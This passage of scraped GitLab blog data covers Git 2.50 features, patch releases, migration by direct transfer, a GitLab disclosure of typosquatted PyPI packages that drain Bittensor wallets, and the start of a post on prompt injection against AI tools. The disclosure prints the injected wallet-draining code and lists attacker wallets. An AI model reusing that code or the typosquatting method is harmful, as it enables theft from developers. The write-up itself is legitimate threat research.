diff-pairs -z\n\n```\n\n\nWhen used in this manner, the resulting output is identical to using\n`git-diff(1)`.\n\nBy having a separate command to generate patch output, the \"raw\" output from\n\n`git-diff-tree(1)` can be broken up into smaller batches of filepairs and\nfed to separate\n\n`git-diff-pairs(1)` processes. This solves the previously mentioned\nscalability\n\nconcern because diffs no longer have to be computed all at once. Future\nGitLab\n\nreleases could build upon this mechanism to improve diff\n\ngeneration performance, especially in cases where large change sets are\n\nconcerned. For more information on this change, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\n_This project was led by [Justin Tobler](https://gitlab.com/justintobler)._\n\n\n## Batched reference updates\n\n\nGit provides the\n[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\n\ncommand to perform reference updates. When used with the `--stdin` flag,\n\nmultiple reference updates can be batched together in a single transaction\nby\n\nspecifying instructions for each reference update to be performed on stdin.\n\nBulk updating references in this manner also provides atomic behavior\nwhereby a\n\nsingle reference update failure results in an aborted transaction and no\n\nreferences being updated. Here is an example showcasing this behavior:\n\n\n```shell\n\n# Create repository with three empty commits and branch named \"foo\"\n\n$ git init\n\n$ git commit --allow-empty -m 1\n\n$ git commit --allow-empty -m 2\n\n$ git commit --allow-empty -m 3\n\n$ git branch foo\n\n\n# Print out the commit IDs\n\n$ git rev-list HEAD\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n# Update is expected to fail because the specified old object ID doesn’t\nmatch.\n\n$ git update-ref --stdin \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nfatal: cannot lock ref 'refs/heads/foo': is at\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n# The \"bar\" reference was not created.\n\n$ git switch bar\n\nfatal: invalid reference: bar\n\n```\n\n\nCompared to updating many references individually, updating in bulk is also\n\nmuch more efficient. While this works well, there might be certain\n\ncircumstances where it is okay for a subset of the requested reference\nupdates\n\nto fail, but we still want to take advantage of the efficiency gains of bulk\n\nupdates.\n\n\nWith this release, `git-update-ref(1)` has the new `--batch-updates` option,\n\nwhich allows the updates to proceed even when one or more reference updates\n\nfails. In this mode, individual failures are reported in the following\nformat:\n\n\n```text\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP\n\u003Crejection-reason> LF\n\n```\n\n\nThis allows successful reference updates to proceed while providing context\nto\n\nwhich updates were rejected and for what reason. Using the same example\n\nrepository from the previous example:\n\n\n```shell\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n\n# The \"bar\" reference was created even though the update to \"foo\" was\nrejected.\n\n$ git switch bar\n\nSwitched to branch 'bar'\n\n```\n\n\nThis time, with the `--batch-updates` option, the reference creation\nsucceeded\n\neven though the update didn't work. This patch series lays the groundwork\nfor\n\nfuture performance improvements in `git-fetch(1)` and `git-receive-pack(1)`\n\nwhen references are updated in bulk. For more information, check the\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## New filter option for git-cat-file(1)\n\n\nWith [`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file), it is\npossible\n\nto print info for all objects contained in the repository via the\n\n`--batch–all-objects` option. For example:\n\n\n```shell\n\n# Setup simple repository.\n\n$ git init\n\n$ echo foo >foo\n\n$ git add foo\n\n$ git commit -m init\n\n\n# Create an unreachable object.\n\n$ git commit --amend --no-edit\n\n\n# Use git-cat-file(1) to print info about all objects including unreachable\nobjects.\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nIn some situations, a user might want to search through all objects in the\n\nrepository, but only output a subset based on some specified attribute. For\n\nexample, if we wanted to see only the objects that are commits, we could use\n\n`grep(1)`:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' | grep ^commit\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nWhile this works, one downside with filtering the output is that\n\n`git-cat-file(1)` still has to traverse all the objects in the repository,\neven\n\nthe ones that the user is not interested in. This can be rather inefficient.\n\n\nWith this release, `git-cat-file(1)` now has the `--filter` option, which\nonly\n\nshows objects matching the specified criteria. This is similar to the option\nof\n\nthe same name for `git-rev-list(1)`, but with only a subset of the filters\n\nsupported. The supported filters are `blob:none`, `blob:limit=`, as well as\n\n`object:type=`. Similar to the previous example, objects can be filtered by\n\ntype with Git directly:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' --filter='object:type=commit'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nNot only is it convenient for Git to handle the processing, for large\n\nrepositories with many objects, it is also potentially more efficient. If a\n\nrepository has bitmap indices, it becomes possible for Git to efficiently\n\nlookup objects of a specific type, and thus avoid scanning through the\n\npackfile, which leads to a significant speedup. Benchmarks conducted on the\n\n[Chromium repository](https://github.com/chromium/chromium.git) show\n\nsignificant improvements:\n\n\n```text\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --no-filter\n   Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s]\n   Range (min … max):   73.936 s … 89.690 s    10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tag\n   Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms]\n   Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=commit\n   Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s]\n   Range (min … max):    1.541 s …  1.566 s    10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tree\n   Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s]\n   Range (min … max):   11.114 s … 11.245 s    10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=blob\n   Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s]\n   Range (min … max):   62.836 s … 73.618 s    10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=blob:none\n   Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s]\n   Range (min … max):   12.960 s … 13.199 s    10 runs\n\nSummary\n   git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n    74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n   538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n   627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n  3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n  3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n```\n\n\nInterestingly, these results indicate that the computation time now scales\nwith\n\nthe number of objects for a given type instead of the number of total\nobjects\n\nin the packfile. The original mailing-list thread can be found\n\n[here](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n_This project was led by [Patrick\nSteinhardt](https://gitlab.com/pks-gitlab)._\n\n\n## Improved performance when generating bundles\n\n\nGit provides a means to generate an archive of a repository which contains a\n\nspecified set of references and accompanying reachable objects via the\n\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle) command. This\noperation\n\nis used by GitLab to generate repository backups and also as part of the\n\n[bundle-URI](https://git-scm.com/docs/bundle-uri) mechanism.\n\n\nFor large repositories containing millions of references, this operation can\n\ntake hours or even days. For example, with the main GitLab repository\n\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), backup times\nwere\n\naround 48 hours. Investigation revealed there was a performance bottleneck\ndue\n\nto how Git was performing a check to avoid duplicated references being\nincluded\n\nin the bundle. The implementation used a nested `for` loop to iterate and\n\ncompare all listed references, leading to O(N^2) time complexity. This\nscales\n\nvery poorly as the number of references in a repository increases.\n\n\nIn this release, this issue was addressed by replacing the nested loops with\na\n\nmap data structure leading to a significant speedup. The following benchmark\n\nthe performance improvement for creating a bundle with a repository\ncontaining\n\n100,000 references:\n\n\n```text\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s    10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s]\n  Range (min … max):    2.364 s …  2.425 s    10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n    6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\n\nTo learn more, check out our blog post\n\n[How we decreased GitLab repo backup times from 48 hours to 41\nminutes](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\n\nYou can also find the original mailing list thread\n\n[here](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## Better bundle URI unbundling\n\n\nThrough the [bundle URI](https://git-scm.com/docs/bundle-uri) mechanism in\nGit,\n\nlocations to fetch bundles from can be provided to clients with the goal to\n\nhelp speed up clones and fetches. When a client downloads a bundle,\nreferences\n\nunder `refs/heads/*` are copied from the bundle into the repository along\nwith\n\ntheir accompanying objects. A bundle might contain additional references\n\noutside of `refs/heads/*` such as `refs/tags/*`, which are simply ignored\nwhen\n\nusing bundle URI on clone.\n\n\nIn Git 2.50, this restriction is lifted, and all references\n\nmatching `refs/*` contained in the downloaded bundle are copied.\n\n[Scott Chacon](https://github.com/schacon), who contributed this\nfunctionality,\n\ndemonstrates the difference when cloning\n\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n\n```shell\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\nCloning into 'gl2.49'...\n\nremote: Enumerating objects: 1092703, done.\n\nremote: Counting objects: 100% (973405/973405), done.\n\nremote: Compressing objects: 100% (385827/385827), done.\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276),\npack-reused 0 (from 0)\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\nChecking objects: 100% (4194304/4194304), done.\n\nChecking connectivity: 959668, done.\n\nUpdating files: 100% (59972/59972), done.\n\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\nCloning into 'gl-2.50'...\n\nremote: Enumerating objects: 65538, done.\n\nremote: Counting objects: 100% (56054/56054), done.\n\nremote: Compressing objects: 100% (28950/28950), done.\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0\n(from 0)\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\nUpdating files: 100% (59972/59972), done.\n\n```\n\n\nComparing these results, we see that Git 2.50 fetches 43,887 objects\n\n(40.42 MiB) after the bundle was extracted whereas Git 2.49 fetches a\n\ntotal of 959,773 objects (366.94 MiB). Git 2.50 fetches roughly 95% fewer\n\nobjects and 90% less data, which benefits both the client and the server.\nThe\n\nserver needs to process a lot less data to the client and the client needs\nto\n\ndownload and extract less data. In the example provided by Scott this led to\na\n\nspeedup of 25%.\n\n\nTo learn more, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n_This patch series was contributed by [Scott\nChacon](https://github.com/schacon)._\n\n\n## Read more\n\n\nThis article highlighted just a few of the contributions made by GitLab and\n\nthe wider Git community for this latest release. You can learn about these\nfrom\n\nthe [official release\nannouncement](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) of\nthe Git project. Also, check\n\nout our [previous Git release blog\nposts](https://about.gitlab.com/blog/tags/git/)\n\nto see other past highlights of contributions from GitLab team members.\n","2025-06-16",[1072,910,269],{"featured":91,"template":797,"slug":1098},"what-s-new-in-git-2-50-0",{"category":90,"slug":765,"posts":1100},[1101,1114,1126],{"content":1102,"config":1111},{"title":1103,"description":1104,"authors":1105,"heroImage":1106,"date":1107,"body":1108,"category":765,"tags":1109},"GitLab Patch Release: 18.2.2, 18.1.4, 18.0.6","Learn more about this patch release for GitLab Community Edition (CE) and Enterprise Edition (EE).",[881],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","2025-08-13","Click here for [GitLab Patch Release: 18.2.2, 18.1.4, 18.0.6.](https://about.gitlab.com/releases/2025/08/13/patch-release-gitlab-18-2-2-released/)",[1110],"patch releases",{"featured":6,"template":797,"slug":1112,"externalUrl":1113},"gitlab-patch-release-18-2-2-18-1-4-18-0-6","https://about.gitlab.com/releases/2025/08/13/patch-release-gitlab-18-2-2-released/",{"content":1115,"config":1124},{"title":1116,"description":1117,"authors":1118,"heroImage":1120,"date":1121,"body":1122,"category":765,"tags":1123},"Migrating by direct transfer is generally available","Learn how to migrate GitLab groups and projects efficiently between GitLab instances with performant and secure migration by direct transfer.",[1119],"Magdalena Frankiewicz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1753898687/nlxenzmbdk62dlylt3ey.png","2025-07-31","Migrating GitLab groups and projects by direct transfer is now generally available from GitLab 18.3. This brings an easy-to-use and automated way of migrating GitLab resources between GitLab instances to an even broader audience. \n\nUsing [direct transfer](https://docs.gitlab.com/user/group/import/) enables you to easily create a copy of chosen GitLab resources on the same or another GitLab instance. You can use either the UI or API. The UI is intuitive and straightforward, while [the API](https://docs.gitlab.com/ee/api/bulk_imports.html) gives you additional flexibility in terms of choosing resources to be copied.\n\nMigrating by direct transfer is a major improvement from [migrating groups and projects using file exports](https://docs.gitlab.com/ee/user/project/settings/import_export.html#migrate-projects-by-uploading-an-export-file) because of the following:\n\n* You don't need to manually export each individual group and project to a file and then import all those export files to a new location. Now, you can directly migrate any top-level group you have the Owner role for with all its sub-groups and projects.\n* It allows for [post-import user contribution mapping](https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping/) (such as issue or comment authorship), which gives you greater flexibility and control.\n* It works reliably with large projects. Thanks to resource batching and concurrent execution of import and export processes the chance of interruption or timeout is significantly lowered. \n* It offers better insights into the migration while it runs as well as after it completes. In the UI you can observe as the numbers grow as more items are imported. Then you can [review the results](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#review-results-of-the-import). You can see that an item was imported thanks to an `Imported` badge on items in the GitLab UI.\n\nWe’ve come a long way since GitLab 14.3 when we started supporting the direct migration of the group resources. In GitLab 15.8, we [extended this functionality to projects as a beta](https://about.gitlab.com/blog/2023/01/18/try-out-new-way-to-migrate-projects/). Since then, we have worked to improve the efficiency and reliability of importing, especially for large projects. We thoroughly reviewed the feature from a security and instance stability standpoint. \n\nTo give an example of the sizes of the groups and projects we've tested with, and their import duration, we've seen successful imports of:\n\n* 100 projects (19.9k issues, 83k merge requests, 100k+ pipelines) that migrated in 8 hours\n* 1,926 projects (22k issues, 160k merge requests, 1.1 million pipelines) that migrated in 34 hours\n\nOn GitLab.com, migrating by direct transfer is enabled by default. On GitLab Self-Managed and on GitLab Dedicated, an administrator must [enable the feature in application settings](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#enable-migration-of-groups-and-projects-by-direct-transfer).\n\n## When to use migrating by direct transfer and how to get the best results\n\nMigrating by direct transfer requires network connection between instances or GitLab.com. Therefore, customers that use air-gapped networks with no connectivity between their GitLab instances still have to use file exports to copy their GitLab data. They will be able to use migrating groups and projects by direct transfer after we extend this solution to also [support offline instances](https://gitlab.com/groups/gitlab-org/-/epics/8985).\n\nBefore you attempt a migration, review [documentation](https://docs.gitlab.com/user/group/import/), including [prerequisites](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#prerequisites), [group items](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items), and [project items](https://docs.gitlab.com/ee/user/group/import/#migrated-project-items) that are migrated. Some items are excluded from migration or not yet supported.\n\n### Migrate between most recent possible versions\n\nWe recommend migrating between versions that are as recent as possible. Update the source and destination instances to take advantage of all improvements and bug fixes we’ve added over time.\n\n### Prepare for user contribution mapping post migration\n\nFamiliarize yourself with [user contribution and membership mapping process](https://docs.gitlab.com/user/project/import/#user-contribution-and-membership-mapping) so you know what to expect after migration completes and what are the next steps for you to take.\n\n### Review options to reduce migration duration\n\nDepending on where you’re migrating to, GitLab.com, a self-managed instance, or Dedicated, you can employ [various strategies to reduce the migration duration](https://docs.gitlab.com/ee/user/group/import/#reducing-migration-duration).\n\n## How can I review the results?\n\nYou can view all groups and projects migrated by you by direct transfer listed on the [group import history page](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#group-import-history). For each group and project, you can view statistics for imported items and dig down into details in case some items were not imported. Alternatively, you can use [API endpoints](https://docs.gitlab.com/ee/api/bulk_imports.html#list-all-group-or-project-migrations-entities) to do the same.\n\nIn cases where most of your projects completed successfully but one or two end up missing some relations, like merge requests or issues, we recommend that you try re-importing those projects [by using the API](https://docs.gitlab.com/ee/api/bulk_imports.html#start-a-new-group-or-project-migration).\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753961409/ja8agmwarwxxlo9vmqbo.gif)\n\n## What’s next for migrating by direct transfer?\n\nWe are excited to bring migration by direct transfer to general availability and hope you are too! We want to hear from you. What's the most important missing piece for you? What else can we improve? Let us know in the [migration by direct transfer feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284495) and we'll keep iterating!",[717,765,793],{"featured":91,"template":797,"slug":1125},"migrating-by-direct-transfer-is-generally-available",{"content":1127,"config":1132},{"title":1128,"description":1104,"authors":1129,"heroImage":1106,"date":1015,"body":1130,"category":765,"tags":1131},"GitLab Patch Release: 18.2.1, 18.1.3, 18.0.5",[881],"Click here for [GitLab Patch Release: 18.2.1, 18.1.3, 18.0.5](https://about.gitlab.com/releases/2025/07/23/patch-release-gitlab-18-2-1-released/).",[1110],{"featured":6,"template":797,"externalUrl":1133,"slug":1134},"https://about.gitlab.com/releases/2025/07/23/patch-release-gitlab-18-2-1-released/","gitlab-patch-release-18-2-1-18-1-3-18-0-5",{"category":125,"slug":775,"posts":1136},[1137,1148,1159],{"content":1138,"config":1146},{"title":1139,"authors":1140,"description":1142,"date":859,"body":1143,"category":775,"tags":1144,"heroImage":1145},"GitLab uncovers Bittensor theft campaign via PyPI",[1141],"Michael Henriksen","GitLab's Vulnerability Research team identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.","GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.\n\nOur investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.\n\nThe identified malicious packages were all published within a 25-minute window on August 6, 2025:\n\n- `bitensor@9.9.4` (02:52 UTC)\n- `bittenso-cli@9.9.4` (02:59 UTC)\n- `qbittensor@9.9.4` (03:02 UTC)\n- `bitensor@9.9.5` (03:15 UTC)\n- `bittenso@9.9.5` (03:16 UTC)\n\nAll packages were designed to mimic the legitimate `bittensor` and `bittensor-cli` packages, which are core components of the Bittensor decentralized AI network.\n\n## Technical analysis: How the theft occurs\n\nOur analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the `stake_extrinsic` function in `bittensor_cli/src/commands/stake/add.py`. \n\nWhere users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:\n\n```python\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n```\n\nThis malicious injection completely subverts the staking process:\n\n- **Silent execution:** Uses `prompt=False` to bypass user confirmation\n- **Complete wallet drain:** Sets `transfer_all=True` to steal all available funds, not just the staking amount\n- **Hardcoded destination:** Routes all funds to the attacker's wallet address\n- **Hidden in plain sight:** Executes during what appears to be a normal staking operation\n\nThe attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.\n\n### Why target staking functionality?\n\nThe attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, **staking** is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.\n\nThis makes staking an ideal attack vector:\n\n1. **High-value targets:** Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.\n2. **Required wallet access:** Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.\n3. **Expected network activity:** Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.\n4. **Routine operations:** Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.\n5. **Delayed detection:** Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.\n\nBy hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.\n\n## Following the money\n\nGitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` served as a central collection point before funds were distributed through a network of intermediary wallets.\n\n### The money laundering network\n\nOur analysis revealed a multi-hop laundering scheme:\n\n1. **Primary collection:** Stolen funds initially arrive at `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n2. **Distribution network:** Funds are quickly moved to intermediate wallets including:\n   - `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   - `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   - `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   - `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Final consolidation:** All paths eventually converge at `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n4. **Cash-out endpoint:** Final destination appears to be `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n## The typosquatting strategy\n\nThe attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:\n\n- **Missing characters:** `bitensor` instead of `bittensor` (missing 't')\n- **Truncation:** `bittenso` instead of `bittensor` (missing final 'r')\n- **Version mimicking:** All packages used version numbers (`9.9.4`, `9.9.5`) that closely match legitimate package versions\n\nThis approach maximizes the chance of installation through developer typos during `pip install` commands and copy-paste errors from documentation.\n\n## Looking ahead: The future of supply chain security\n\nGitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.\n\nThe swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/qbittensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/bittenso-cli@9.9.4` | Malicious PyPI package |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) wallet address for receiving stolen funds |\n\n## Timeline\n\n| Date & Time | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Initial analysis of suspicious packages reported by automated monitoring system |\n| **2025-08-06T09:42** | Reported `bittenso@9.9.5` to PyPi.org |\n| **2025-08-06T09:46** | Reported `bitensor@9.9.5` to PyPi.org |\n| **2025-08-06T09:47** | Reported `bitensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:49** | Reported `qbittensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:51** | Reported `bittenso-cli@9.9.4` to PyPi.org |\n| **2025-08-06T15:26** | PyPi.org removed `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `bittenso-cli@9.9.4` |\n",[775],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":797,"slug":1147},"gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"content":1149,"config":1157},{"title":1150,"description":1151,"authors":1152,"heroImage":1154,"date":1121,"body":1155,"category":775,"tags":1156},"Securing AI together: GitLab’s partnership with security researchers","Learn how GitLab collaborates with security researchers to identify and defend against emerging threats.",[1153],"Kymberlee Price","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667636/Blog/Hero%20Images/Dedicated_Screengrab_1800x945.png","As GitLab's Senior Director of Application Security, my primary mission is straightforward: to protect our customers from harm caused by software vulnerabilities. In an era where AI is transforming how we build software, this mission has taken on new dimensions and urgency. Here’s how we're working with the global security research community to make [GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/) secure against emerging threats.\n\n## The AI security challenge\n\nAI-powered platforms create incredible productivity for engineers. However, the ability to create code also brings a crucial need for robust security. For example, prompt injection attacks embed hidden instructions in comments, source code, and merge request descriptions. These can guide AI into making attacker-controlled recommendations to the user or, in some cases, autonomously taking unintended action. Addressing these risks helps ensure the responsible and secure evolution of AI in development.\n\nGitLab’s security and engineering teams work diligently to provide customers with a safe and secure platform. Partnerships with external security researchers, such as [Persistent Security](https://www.persistent-security.net/post/part-i-prompt-injection-exploiting-llm-instruction-confusion), are an integral part of that approach.\n\n## Our commitment to transparent collaboration\n\n[GitLab's AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) details how we uphold ethics and transparency in our development and use of AI-powered features. This commitment extends to our collaboration with security researchers.\n\nWhen Persistent Security reached out to GitLab to discuss a complex prompt injection issue with industry-wide impact, they were quickly connected to the GitLab Product Security Response Team to investigate if any of our products were affected. \n\nThrough this dialogue, we were able to quickly identify and implement mitigations that were deployed prior to the public beta of GitLab Duo Agent Platform in July 2025. This rapid response exemplifies our approach to working with security researchers and collaborating transparently throughout the process to coordinate remediation and disclosure to protect customers. \n\n## Why external research matters for AI security\n\nAI systems present unique security challenges that require diverse perspectives and specialized expertise. \n\nExternal researchers are essential for:\n\n* **Rapid Threat Evolution:** AI security threats evolve quickly. The research community helps us stay ahead of emerging attack patterns, from prompt injection techniques to novel ways of manipulating AI responses.\n* **Real-World Testing:** External researchers test our systems in ways that mirror actual attacker behavior, providing invaluable insights into how our defenses perform under pressure.\n* **Diverse Expertise:** External security researchers often demonstrate exceptional creativity, with reports standing out for innovative approaches to identifying complex vulnerabilities. This diversity of thinking strengthens our overall security posture.\n\n## Our ongoing commitment\n\nThe security research community remains a crucial partner in our mission to protect customers. We're committed to:\n\n* Providing clear guidance to researchers about our AI systems and security boundaries  \n* Maintaining rapid response times for security disclosures  \n* Sharing our learnings with the broader community through public disclosure and research\n\nThe future of AI security depends on collaboration between organizations like GitLab and the security research community. By working together, we can ensure that AI remains a force for productivity and innovation while protecting our customers and users from harm.\n\nTo our security research partners: 